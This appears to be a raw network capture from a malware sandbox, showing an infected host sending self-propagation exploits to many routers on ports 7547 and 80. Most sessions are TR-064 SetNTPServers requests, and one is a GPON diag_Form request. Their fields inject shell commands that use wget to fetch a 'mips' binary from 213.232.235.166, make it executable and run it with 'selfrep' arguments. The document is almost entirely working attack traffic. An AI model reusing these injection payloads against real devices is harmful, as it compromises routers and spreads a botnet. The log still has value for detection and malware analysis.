Apr 15, 2024 08:53:58.545764923 CEST	404	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:58 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1425	192.168.2.13	40082	174.100.141.119	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.312073946 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:59.488357067 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1426	192.168.2.13	43348	32.211.114.13	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.315510035 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:59.552469969 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1427	192.168.2.13	32902	179.37.157.170	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.354005098 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:58.695667028 CEST	478	IN	HTTP/1.1 404 Not Found Server: micro_httpd Date: Mon, 15 Apr 2024 06:53:56 GMT Connection: keep-alive Keep-Alive: timeout=60, max=1000 Content-Type: text/html X-Frame-Options: sameorigin X-XSS-Protection: 1 X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self'; frame-ancestors 'self' Content-length: 126 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a Data Ascii: <HTML><HEAD><TITLE>Document Error: Not Found</TITLE></HEAD><BODY><H2>Access Error: 404 -- Not Found</H2></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1428	192.168.2.13	57300	210.113.21.2	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.366341114 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1429	192.168.2.13	58792	221.163.52.251	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.369267941 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1430	192.168.2.13	51942	24.232.201.98	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.395752907 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1431	192.168.2.13	43378	32.211.114.13	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.556796074 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1432	192.168.2.13	57328	210.113.21.2	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.654160023 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1433	192.168.2.13	58824	221.163.52.251	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.654495001 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1434	192.168.2.13	51972	24.232.201.98	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.702575922 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1435	192.168.2.13	34380	47.200.108.84	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.782681942 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1436	192.168.2.13	53098	199.254.110.54	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.925151110 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:59.195956945 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 06:53:58 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1437	192.168.2.13	39024	86.85.144.217	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.947458982 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1438	192.168.2.13	39220	200.162.244.201	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:58.986722946 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1439	192.168.2.13	37304	218.108.130.74	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.005357981 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:59.327275038 CEST	122	IN	HTTP/1.1 200 OK Server: RG/Device 10.x Content-Type: text/xml Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1440	192.168.2.13	34392	47.200.108.84	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.008673906 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1441	192.168.2.13	60234	190.124.179.18	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.043229103 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:59.384010077 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 03:53:58 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1442	192.168.2.13	53110	199.254.110.54	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.196291924 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:59.468991041 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 06:53:58 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1443	192.168.2.13	39036	86.85.144.217	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.244373083 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1444	192.168.2.13	37316	218.108.130.74	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.334096909 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1445	192.168.2.13	60246	190.124.179.18	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:59.381608009 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:59.720489025 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 03:53:58 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1446	192.168.2.13	54122	103.195.119.105	80

Timestamp	Bytes transferred	Direction	Data
